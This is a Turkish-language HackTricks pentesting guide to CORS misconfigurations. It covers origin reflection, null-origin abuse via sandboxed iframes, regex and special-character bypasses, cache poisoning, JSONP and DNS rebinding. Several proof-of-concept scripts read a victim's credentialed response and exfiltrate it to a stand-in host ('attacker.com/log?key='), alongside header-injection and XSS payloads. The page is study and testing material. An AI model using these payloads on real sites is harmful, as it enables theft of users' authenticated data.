hacktricks/pentesting-web/cors-bypass.md

CORS - Yanlış Yapılandırmalar & Bypass

{% hint style="success" %} AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

• abonelik planlarını kontrol edin!
• 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
• Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.

{% endhint %}

{% embed url="https://websec.nl/" %}

CORS Nedir?

Cross-Origin Resource Sharing (CORS) standardı, sunucuların varlıklarına kimin erişebileceğini ve hangi HTTP istek yöntemlerinin dış kaynaklardan izin verildiğini tanımlamasını sağlar.

Aynı köken politikası, bir kaynağı talep eden sunucu ile kaynağı barındıran sunucunun aynı protokolü (örneğin, http://), alan adını (örneğin, internal-web.com) ve portu (örneğin, 80) paylaşmasını zorunlu kılar. Bu politika altında, yalnızca aynı alan adı ve porttan gelen web sayfalarının kaynaklara erişmesine izin verilir.

http://normal-website.com/example/example.html bağlamında aynı köken politikasının uygulanışı aşağıdaki gibi gösterilmektedir:

Erişilen URL	Erişim izni var mı?
http://normal-website.com/example/	Evet: Aynı şema, alan adı ve port
http://normal-website.com/example2/	Evet: Aynı şema, alan adı ve port
https://normal-website.com/example/	Hayır: Farklı şema ve port
http://en.normal-website.com/example/	Hayır: Farklı alan adı
http://www.normal-website.com/example/	Hayır: Farklı alan adı
http://normal-website.com:8080/example/	Hayır: Farklı port*

*Internet Explorer, aynı köken politikasını uygularken port numarasını dikkate almaz, bu nedenle bu erişime izin verir.

Access-Control-Allow-Origin Başlığı

Bu başlık, birden fazla kökeni, null değerini veya bir joker karakter * içerebilir. Ancak, hiçbir tarayıcı birden fazla kökeni desteklemez ve joker karakter * kullanımı sınırlamalara tabidir. (Joker karakter yalnız başına kullanılmalı ve Access-Control-Allow-Credentials: true ile birlikte kullanımı yasaktır.)

Bu başlık, bir web sitesi tarafından başlatılan bir çapraz alan kaynak talebine yanıt olarak bir sunucu tarafından verilir, tarayıcı otomatik olarak bir Origin başlığı ekler.

Access-Control-Allow-Credentials Başlığı

Varsayılan olarak, çapraz köken istekleri, çerezler veya Yetkilendirme başlığı gibi kimlik bilgileri olmadan yapılır. Ancak, bir çapraz alan sunucusu, Access-Control-Allow-Credentials başlığını true olarak ayarlayarak kimlik bilgileri gönderildiğinde yanıtın okunmasına izin verebilir.

true olarak ayarlandığında, tarayıcı kimlik bilgilerini (çerezler, yetkilendirme başlıkları veya TLS istemci sertifikaları) iletecektir.

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);

fetch(url, {
credentials: 'include'
})

const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');

CSRF Ön Uçuş İsteği

Çapraz Alan İletişiminde Ön Uçuş İsteklerini Anlamak

Belirli koşullar altında, örneğin standart dışı bir HTTP yöntemi (HEAD, GET, POST dışındaki herhangi bir şey) kullanıldığında, yeni başlıklar tanıtıldığında veya özel bir Content-Type başlık değeri kullanıldığında, bir ön uçuş isteği gerekli olabilir. OPTIONS yöntemini kullanan bu ön isteği, sunucuya yaklaşan çapraz alan isteğinin niyetlerini, kullanmayı planladığı HTTP yöntemleri ve başlıklar dahil olmak üzere, bildirmek için kullanılır.

Çapraz Alan Kaynak Paylaşımı (CORS) protokolü, istenen çapraz alan işleminin uygulanabilirliğini belirlemek için izin verilen yöntemleri, başlıkları ve kaynağın güvenilirliğini doğrulamak amacıyla bu ön uçuş kontrolünü zorunlu kılar. Ön uçuş isteği gereksinimini ortadan kaldıran koşullar hakkında ayrıntılı bilgi için Mozilla Geliştirici Ağı (MDN) tarafından sağlanan kapsamlı kılavuza başvurun.

Ön uçuş isteğinin yokluğu, yanıtın yetkilendirme başlıklarını taşıma gerekliliğini ortadan kaldırmaz. Bu başlıklar olmadan, tarayıcı çapraz alan isteğinden gelen yanıtı işleme yeteneğini kaybeder.

PUT yöntemini ve Special-Request-Header adlı özel bir başlığı kullanmayı amaçlayan bir ön uçuş isteğinin aşağıdaki örneğine bakın:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

Cevap olarak, sunucu kabul edilen yöntemleri, izin verilen kökeni ve diğer CORS politika detaylarını belirten başlıklar döndürebilir, aşağıda gösterildiği gibi:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240

• Access-Control-Allow-Headers: Bu başlık, gerçek istekte hangi başlıkların kullanılabileceğini belirtir. Sunucu tarafından, istemciden gelen isteklere izin verilen başlıkları göstermek için ayarlanır.
• Access-Control-Expose-Headers: Bu başlık aracılığıyla sunucu, istemciye basit yanıt başlıklarının yanı sıra hangi başlıkların yanıtın bir parçası olarak açığa çıkarılabileceğini bildirir.
• Access-Control-Max-Age: Bu başlık, bir ön uç isteğinin sonuçlarının ne kadar süreyle önbelleğe alınabileceğini gösterir. Sunucu, bir ön uç isteği tarafından döndürülen bilginin yeniden kullanılabileceği maksimum süreyi, saniye cinsinden ayarlar.
• Access-Control-Request-Headers: Ön uç isteklerinde kullanılan bu başlık, istemci tarafından sunucuya hangi HTTP başlıklarını kullanmak istediğini bildirmek için ayarlanır.
• Access-Control-Request-Method: Ön uç isteklerinde de kullanılan bu başlık, istemci tarafından gerçek istekte hangi HTTP yönteminin kullanılacağını belirtmek için ayarlanır.
• Origin: Bu başlık, tarayıcı tarafından otomatik olarak ayarlanır ve çapraz kaynak isteğinin kaynağını gösterir. Sunucu, gelen isteğin CORS politikası temelinde izin verilip verilmeyeceğini değerlendirmek için kullanır.

Genellikle (içerik türüne ve ayarlanan başlıklara bağlı olarak) bir GET/POST isteğinde ön uç isteği gönderilmez (istek doğrudan gönderilir), ancak yanıtın başlıklarına/gövdesine erişmek istiyorsanız, bunu izin veren bir Access-Control-Allow-Origin başlığı içermelidir.
Bu nedenle, CORS CSRF'ye karşı koruma sağlamaz (ama yardımcı olabilir).

Yerel Ağ İstekleri Ön Uç İsteği

1. Access-Control-Request-Local-Network: Bu başlık, istemcinin isteğinde yerel ağ kaynağına yönelik bir sorgu olduğunu belirtmek için dahil edilir. İsteğin yerel ağdan geldiğini sunucuya bildirmek için bir işaretçi görevi görür.
2. Access-Control-Allow-Local-Network: Sunucular, yanıt olarak bu başlığı kullanarak istenen kaynağın yerel ağ dışındaki varlıklarla paylaşılmasına izin verildiğini iletir. Farklı ağ sınırları arasında kaynakların paylaşımına yeşil ışık yakarak, güvenlik protokollerini korurken kontrollü erişim sağlar.

Yerel ağ isteğini izin veren geçerli bir yanıt, yanıtta Access-Controls-Allow-Local_network: true başlığını da içermelidir:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

{% hint style="warning" %} Not edin ki linux 0.0.0.0 IP'si, bu gereksinimleri bypass etmek için localhost'a erişim sağlamak için çalışır çünkü bu IP adresi "yerel" olarak kabul edilmez.

Ayrıca, yerel bir uç noktanın genel IP adresini (örneğin, yönlendiricinin genel IP'si) kullanırsanız Yerel Ağ gereksinimlerini bypass etmek de mümkündür. Çünkü birçok durumda, genel IP erişilse bile, eğer yerel ağdan geliyorsa, erişim sağlanacaktır. {% endhint %}

Wildcards

Aşağıdaki yapılandırmanın süper izin verici görünebileceğini unutmayın:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Bu, tarayıcılar tarafından izin verilmez ve bu nedenle kimlik bilgileri bu istekle gönderilmeyecektir.

Sömürülebilir yanlış yapılandırmalar

Access-Control-Allow-Credentials ayarının true olarak belirlenmesinin çoğu gerçek saldırılar için bir ön koşul olduğu gözlemlenmiştir. Bu ayar, tarayıcının kimlik bilgilerini göndermesine ve yanıtı okumasına izin vererek saldırının etkinliğini artırır. Bunu olmadan, bir tarayıcının istek yapmasının sağladığı avantaj, bir kullanıcının çerezlerini kullanmanın imkansız hale gelmesi nedeniyle azalır.

İstisna: Ağ Konumunu Kimlik Doğrulama Olarak Sömürme

Kurbanın ağ konumunun bir kimlik doğrulama biçimi olarak işlev gördüğü bir istisna vardır. Bu, kurbanın tarayıcısının bir proxy olarak kullanılmasına izin verir ve IP tabanlı kimlik doğrulamasını aşarak intranet uygulamalarına erişim sağlar. Bu yöntem, DNS yeniden bağlama ile benzer etkilere sahiptir ancak sömürmesi daha basittir.

Origin'in Access-Control-Allow-Origin'de Yansıması

Gerçek dünyadaki senaryoda Origin başlığının değeri Access-Control-Allow-Origin'de yansıtıldığında, bu teorik olarak bu başlıkların birleştirilmesine yönelik kısıtlamalar nedeniyle olası değildir. Ancak, birden fazla URL için CORS'u etkinleştirmek isteyen geliştiriciler, Origin başlığının değerini kopyalayarak Access-Control-Allow-Origin başlığını dinamik olarak oluşturabilirler. Bu yaklaşım, bir saldırganın meşru görünmek üzere tasarlanmış bir alan adı kullanması durumunda doğrulama mantığını yanıltarak zafiyetler oluşturabilir.

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example.com/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>

null Kaynağını Kullanma

null kaynağı, yönlendirmeler veya yerel HTML dosyaları gibi durumlar için belirtilmiştir ve benzersiz bir konuma sahiptir. Bazı uygulamalar, yerel geliştirmeyi kolaylaştırmak için bu kaynağı beyaz listeye alır ve bu da istemeden herhangi bir web sitesinin, CORS kısıtlamalarını aşarak, sandboxed iframe aracılığıyla null kaynağını taklit etmesine olanak tanır.

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Düzenli İfade Bypass Teknikleri

Bir alan adı beyaz listesinin karşısına çıktığınızda, saldırganın alan adını beyaz listeye alınmış bir alan adına eklemek veya alt alan adı ele geçirme açıklarını istismar etmek gibi bypass fırsatlarını test etmek çok önemlidir. Ayrıca, alan adı doğrulaması için kullanılan düzenli ifadeler, alan adı adlandırma kurallarındaki nüansları gözden kaçırabilir ve bu da daha fazla bypass fırsatı sunar.

Gelişmiş Düzenli İfade Bypass'ları

Regex desenleri genellikle alfanümerik, nokta (.) ve tire (-) karakterlerine odaklanır, diğer olasılıkları göz ardı eder. Örneğin, tarayıcılar ve regex desenleri tarafından farklı yorumlanan karakterleri içerecek şekilde oluşturulmuş bir alan adı, güvenlik kontrollerini geçebilir. Safari, Chrome ve Firefox'un alt alan adlarındaki alt çizgi karakterlerini ele alışı, bu tür tutarsızlıkların alan adı doğrulama mantığını aşmak için nasıl istismar edilebileceğini göstermektedir.

Bu bypass kontrolü hakkında daha fazla bilgi ve ayarlar için: https://www.corben.io/advanced-cors-techniques/ ve https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

Bir Alt Alan Adında XSS'den

Geliştiriciler, bilgilere erişim talep etmeye izin verilen alan adlarını beyaz listeye alarak CORS istismarına karşı koruma sağlamak için genellikle savunma mekanizmaları uygularlar. Bu önlemlere rağmen, sistemin güvenliği kusursuz değildir. Beyaz listeye alınmış alan adları içinde tek bir savunmasız alt alan adının varlığı, XSS (Cross-Site Scripting) gibi diğer açıklar aracılığıyla CORS istismarına kapı açabilir.

Örneğin, requester.com adlı bir alan adının, provider.com adlı başka bir alan adından kaynaklara erişim için beyaz listeye alındığı senaryoyu düşünün. Sunucu tarafı yapılandırması muhtemelen şöyle görünebilir:

if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
} else {
// Unauthorized access
}

Bu yapılandırmada, requester.com'un tüm alt alan adlarına erişim izni verilmektedir. Ancak, bir alt alan adı, örneğin sub.requester.com, bir XSS açığı ile tehlikeye girerse, bir saldırgan bu zayıflıktan yararlanabilir. Örneğin, sub.requester.com'a erişimi olan bir saldırgan, XSS açığını kullanarak CORS politikalarını atlayabilir ve provider.com üzerindeki kaynaklara kötü niyetle erişebilir.

Özel Karakterler

PortSwigger’ın URL doğrulama atlama kılavuzu, bazı tarayıcıların alan adları içinde garip karakterleri desteklediğini bulmuştur.

Chrome ve Firefox, Origin başlığını doğrulamak için uygulanan regex'leri atlayabilen alt çizgileri _ desteklemektedir:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com

HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true

Safari, alan adında özel karakterleri kabul etme konusunda daha da gevşektir:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com

HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true

Diğer eğlenceli URL hileleri

{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}

Sunucu tarafı önbellek zehirlenmesi

Bu araştırmadan

HTTP başlık enjeksiyonu yoluyla sunucu tarafı önbellek zehirlenmesini istismar ederek, depolanmış bir Cross-Site Scripting (XSS) açığı oluşturmak mümkündür. Bu senaryo, bir uygulamanın Origin başlığını yasadışı karakterler için temizlememesi durumunda ortaya çıkar ve özellikle Internet Explorer ve Edge kullanıcıları için bir zafiyet oluşturur. Bu tarayıcılar (0x0d) değerini meşru bir HTTP başlık sonlandırıcısı olarak kabul eder, bu da HTTP başlık enjeksiyonu zafiyetlerine yol açar.

Origin başlığının manipüle edildiği aşağıdaki isteği düşünün:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer ve Edge yanıtı şu şekilde yorumlar:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

Bu güvenlik açığını doğrudan kötüye kullanmak için bir web tarayıcısının hatalı bir başlık göndermesi pratik değildir, ancak Burp Suite gibi araçlar kullanılarak özel bir istek manuel olarak oluşturulabilir. Bu yöntem, sunucu tarafında bir önbelleğin yanıtı kaydetmesine ve istemeden başkalarına sunmasına yol açabilir. Özel yük, sayfanın karakter setini UTF-7 olarak değiştirmeyi amaçlar; bu, belirli bağlamlarda script olarak çalıştırılabilen karakterleri kodlama yeteneği nedeniyle genellikle XSS güvenlik açıkları ile ilişkilendirilen bir karakter kodlamasıdır.

Depolanan XSS güvenlik açıkları hakkında daha fazla bilgi için PortSwigger sayfasına bakın.

Not: HTTP başlık enjeksiyon güvenlik açıklarının, özellikle sunucu tarafı önbellek zehirlenmesi yoluyla kötüye kullanılması, tüm kullanıcı tarafından sağlanan girdilerin, HTTP başlıkları da dahil olmak üzere, doğrulanması ve temizlenmesinin kritik önemini vurgular. Bu tür güvenlik açıklarını önlemek için her zaman giriş doğrulamasını içeren sağlam bir güvenlik modeli uygulayın.

İstemci Tarafı Önbellek Zehirlenmesi

Bu araştırmadan

Bu senaryoda, uygun kodlama olmadan özel bir HTTP başlığının içeriğini yansıtan bir web sayfası örneği gözlemlenmektedir. Özellikle, web sayfası X-User-id başlığında yer alan içeriği geri yansıtır; bu içerik kötü niyetli JavaScript içerebilir, örneğin başlığın yükleme sırasında JavaScript kodunu çalıştırmak için tasarlanmış bir SVG resim etiketi içerdiği örneğinde olduğu gibi.

Cross-Origin Resource Sharing (CORS) politikaları, özel başlıkların gönderilmesine izin verir. Ancak, CORS kısıtlamaları nedeniyle yanıt doğrudan tarayıcı tarafından işlenmediğinde, bu tür bir enjeksiyonun faydası sınırlı görünebilir. Kritik nokta, tarayıcının önbellek davranışını dikkate almaktır. Eğer Vary: Origin başlığı belirtilmemişse, kötü niyetli yanıtın tarayıcı tarafından önbelleğe alınması mümkün hale gelir. Sonrasında, bu önbelleğe alınmış yanıt, URL'ye gidildiğinde doğrudan işlenebilir ve ilk istekte doğrudan işleme gereksinimini atlayabilir. Bu mekanizma, istemci tarafı önbelleklemesini kullanarak saldırının güvenilirliğini artırır.

Bu saldırıyı göstermek için, bir web sayfası ortamında çalıştırılmak üzere tasarlanmış bir JavaScript örneği sağlanmıştır, örneğin bir JSFiddle aracılığıyla. Bu script basit bir işlem gerçekleştirir: kötü niyetli JavaScript içeren özel bir başlıkla belirtilen bir URL'ye istek gönderir. İstek başarıyla tamamlandığında, hedef URL'ye yönelmeye çalışır; eğer yanıt Vary: Origin başlığı uygun şekilde işlenmeden önbelleğe alınmışsa, enjekte edilen scriptin çalıştırılmasını tetikleyebilir.

Bu saldırıyı gerçekleştirmek için kullanılan JavaScript'in özetlenmiş bir dökümü:

<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>");
req.send();
</script>

Bypass

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, aynı zamanda Cross-Site Script Inclusion olarak da bilinir, script etiketi kullanarak kaynakları dahil ederken Same Origin Policy (SOP) uygulanmadığı gerçeğinden faydalanan bir tür güvenlik açığıdır. Bunun nedeni, scriptlerin farklı alan adlarından dahil edilebilmesi gerekliliğidir. Bu güvenlik açığı, bir saldırganın script etiketi kullanılarak dahil edilen herhangi bir içeriğe erişip okumasına olanak tanır.

Bu güvenlik açığı, dinamik JavaScript veya JSONP (Padding ile JSON) söz konusu olduğunda özellikle önemlidir, özellikle kimlik doğrulama için çerezler gibi ortam yetkisi bilgileri kullanıldığında. Farklı bir hosttan bir kaynak talep edildiğinde, çerezler dahil edilir ve bu da saldırganın erişimine açılır.

Bu güvenlik açığını daha iyi anlamak ve hafifletmek için https://github.com/kapytein/jsonp adresinde bulunan BurpSuite eklentisini kullanabilirsiniz. Bu eklenti, web uygulamalarınızdaki potansiyel XSSI güvenlik açıklarını tanımlamaya ve ele almaya yardımcı olabilir.

XSSI'nin farklı türleri ve bunları nasıl istismar edeceğiniz hakkında daha fazla bilgi edinin.

Talepte bir callback parametresi eklemeyi deneyin. Belki de sayfa verileri JSONP olarak göndermeye hazırlanmıştır. Bu durumda, sayfa Content-Type: application/javascript ile verileri geri gönderecek ve CORS politikasını atlatacaktır.

Kolay (gereksiz?) atlatma

Access-Control-Allow-Origin kısıtlamasını atlatmanın bir yolu, bir web uygulamasından sizin adınıza bir istek yapmasını istemek ve yanıtı geri göndermesidir. Ancak, bu senaryoda, nihai kurbanın kimlik bilgileri farklı bir alan adına yapılan istekle gönderilmeyecektir.

1. CORS-escape: Bu araç, isteğinizi başlıklarıyla birlikte ileten bir proxy sağlar ve ayrıca Origin başlığını istenen alan adıyla eşleştirerek sahte bir şekilde ayarlar. Bu, CORS politikasını etkili bir şekilde atlatır. İşte XMLHttpRequest ile bir örnek kullanım:
2. simple-cors-escape: Bu araç, istekleri proxylemek için alternatif bir yaklaşım sunar. İsteğinizi olduğu gibi iletmek yerine, sunucu belirtilen parametrelerle kendi isteğini yapar.

Iframe + Popup Atlatma

e.origin === window.origin gibi CORS kontrollerini atlatmak için bir iframe oluşturabilir ve ondan yeni bir pencere açabilirsiniz. Daha fazla bilgi için aşağıdaki sayfaya bakın:

{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

TTL Üzerinden DNS Rebinding

TTL üzerinden DNS rebinding, DNS kayıtlarını manipüle ederek belirli güvenlik önlemlerini atlatmak için kullanılan bir tekniktir. İşte nasıl çalıştığı:

1. Saldırgan bir web sayfası oluşturur ve kurbanın buna erişmesini sağlar.
2. Saldırgan, kendi alan adının DNS (IP) adresini kurbanın web sayfasına yönlendirecek şekilde değiştirir.
3. Kurbanın tarayıcısı, DNS yanıtını önbelleğe alır; bu yanıtın TTL (Time to Live) değeri, DNS kaydının ne kadar süre geçerli sayılacağını gösterir.
4. TTL süresi dolduğunda, kurbanın tarayıcısı yeni bir DNS isteği yapar ve bu, saldırgana kurbanın sayfasında JavaScript kodu çalıştırma imkanı tanır.
5. Kurbanın IP'si üzerinde kontrolü sürdürerek, saldırgan kurbandan herhangi bir çerez göndermeden bilgi toplayabilir.

Tarayıcıların, bu tekniğin hemen kötüye kullanılmasını önleyebilecek önbellekleme mekanizmalarına sahip olduğunu belirtmek önemlidir, hatta düşük TTL değerleriyle bile.

DNS rebinding, kurban tarafından gerçekleştirilen açık IP kontrollerini atlatmak veya bir kullanıcının veya botun uzun bir süre boyunca aynı sayfada kalması durumlarında yararlı olabilir; bu, önbelleğin süresinin dolmasına olanak tanır.

DNS rebinding'i kötüye kullanmak için hızlı bir yol arıyorsanız, https://lock.cmpxchg8b.com/rebinder.html gibi hizmetleri kullanabilirsiniz.

Kendi DNS rebinding sunucunuzu çalıştırmak için DNSrebinder (https://github.com/mogwailabs/DNSrebinder) gibi araçları kullanabilirsiniz. Bu, yerel 53/udp portunuzu açmayı, ona işaret eden bir A kaydı oluşturmayı (örneğin, ns.example.com) ve daha önce oluşturulan A alt alan adına işaret eden bir NS kaydı oluşturmayı içerir (örneğin, ns.example.com). ns.example.com alt alan adının herhangi bir alt alan adı, ardından sizin hostunuz tarafından çözülecektir.

Ayrıca, daha fazla anlayış ve deneyim için http://rebind.it/singularity.html adresinde kamuya açık bir sunucuyu keşfedebilirsiniz.

DNS Rebinding DNS Cache Flooding Üzerinden

DNS cache flooding üzerinden DNS rebinding, tarayıcıların önbellekleme mekanizmasını atlatmak ve ikinci bir DNS isteği zorlamak için kullanılan bir başka tekniktir. İşte nasıl çalıştığı:

1. İlk olarak, kurban bir DNS isteği yaptığında, saldırganın IP adresiyle yanıtlanır.
2. Önbellek savunmasını atlatmak için saldırgan bir hizmet çalışanı kullanır. Hizmet çalışanı, DNS önbelleğini doldurarak, önbellekteki saldırgan sunucu adını etkili bir şekilde siler.
3. Kurbanın tarayıcısı ikinci bir DNS isteği yaptığında, artık 127.0.0.1 IP adresiyle yanıtlanır; bu genellikle localhost'u ifade eder.

Hizmet çalışanıyla DNS önbelleğini doldurarak, saldırgan DNS çözümleme sürecini manipüle edebilir ve kurbanın tarayıcısını ikinci bir istekte bulunmaya zorlayabilir; bu sefer saldırganın istediği IP adresine çözülür.

DNS Rebinding Cache Üzerinden

Önbellek savunmasını atlatmanın bir başka yolu, DNS sağlayıcısında aynı alt alan adı için birden fazla IP adresi kullanmaktır. İşte nasıl çalıştığı:

1. Saldırgan, DNS sağlayıcısında aynı alt alan adı için iki A kaydı (veya iki IP ile tek bir A kaydı) oluşturur.
2. Bir tarayıcı bu kayıtları kontrol ettiğinde, her iki IP adresini de alır.
3. Tarayıcı, saldırganın IP adresini önce kullanmaya karar verirse, saldırgan aynı alan adına HTTP istekleri gerçekleştiren bir yük sunabilir.
4. Ancak, saldırgan kurbanın IP adresini elde ettikten sonra, kurbanın tarayıcısına yanıt vermeyi durdurur.
5. Kurbanın tarayıcısı, alan adının yanıt vermediğini fark ettiğinde, verilen ikinci IP adresini kullanmaya geçer.
6. İkinci IP adresine erişerek, tarayıcı Same Origin Policy (SOP) kuralını atlatır ve saldırganın bunu kötüye kullanmasına ve bilgi toplamasına olanak tanır.

Bu teknik, bir alan adı için birden fazla IP adresi sağlandığında tarayıcıların davranışını kullanır. Yanıtları stratejik olarak kontrol ederek ve tarayıcının IP adresi seçimini manipüle ederek, bir saldırgan SOP'yi istismar edebilir ve kurbandan bilgi alabilir.

{% hint style="warning" %} localhost'a erişmek için Windows'ta 127.0.0.1 ve Linux'ta 0.0.0.0 yeniden bağlamayı denemelisiniz.
Godaddy veya Cloudflare gibi sağlayıcılar 0.0.0.0 IP'sini kullanmama izin vermedi, ancak AWS route53, 2 IP'si olan bir A kaydı oluşturmama izin verdi; bunlardan biri "0.0.0.0"

{% endhint %}

Daha fazla bilgi için https://unit42.paloaltonetworks.com/dns-rebinding/ adresini kontrol edebilirsiniz.

Diğer Yaygın Atlatmalar

• Eğer iç IP'ler yasaklanmışsa, 0.0.0.0'ı yasaklamayı unutmuş olabilirler (Linux ve Mac'te çalışır)
• Eğer iç IP'ler yasaklanmışsa, localhost için bir CNAME ile yanıt verin (Linux ve Mac'te çalışır)
• Eğer iç IP'ler DNS yanıtları olarak yasaklanmışsa, www.corporate.internal gibi iç hizmetlere CNAME'ler ile yanıt verebilirsiniz.

DNS Rebidding Silahlandırıldı

Önceki atlatma teknikleri ve aşağıdaki aracı nasıl kullanacağınız hakkında daha fazla bilgi bulabilirsiniz Gerald Doussot - DNS Rebinding Saldırıları Durumu & Origin'in Tekilliği - DEF CON 27 Konferansı.

Origin'in Tekilliği, DNS rebinding saldırıları gerçekleştirmek için bir araçtır. Saldırı sunucusunun DNS adının IP adresini hedef makinenin IP adresine yeniden bağlamak ve hedef makinedeki savunmasız yazılımları istismar etmek için gerekli bileşenleri içerir.

DNS Rebinding'e Karşı Gerçek Koruma

• İç hizmetlerde TLS kullanın
• Verilere erişim için kimlik doğrulama isteyin
• Host başlığını doğrulayın
• https://wicg.github.io/private-network-access/: Kamu sunucularının iç sunuculara erişmek istediğinde her zaman bir ön uç isteği göndermeyi öneren öneri

Araçlar

CORS politikalarındaki olası yanlış yapılandırmaları test edin

• https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8
• https://github.com/chenjj/CORScanner
• https://github.com/lc/theftfuzzer
• https://github.com/s0md3v/Corsy
• https://github.com/Shivangx01b/CorsMe
• https://github.com/omranisecurity/CorsOne

Referanslar

• https://portswigger.net/web-security/cors
• https://portswigger.net/web-security/cors/access-control-allow-origin
• https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS
• https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties
• https://www.codecademy.com/articles/what-is-cors
• https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors
• https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646
• https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration
• https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b

{% embed url="https://websec.nl/" %}

{% hint style="success" %} AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

• abonelik planlarını kontrol edin!
• 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da 🐦 @hacktricks_live'i takip edin.**
• HackTricks ve HackTricks Cloud github reposuna PR göndererek hacking ipuçlarını paylaşın.

{% endhint %}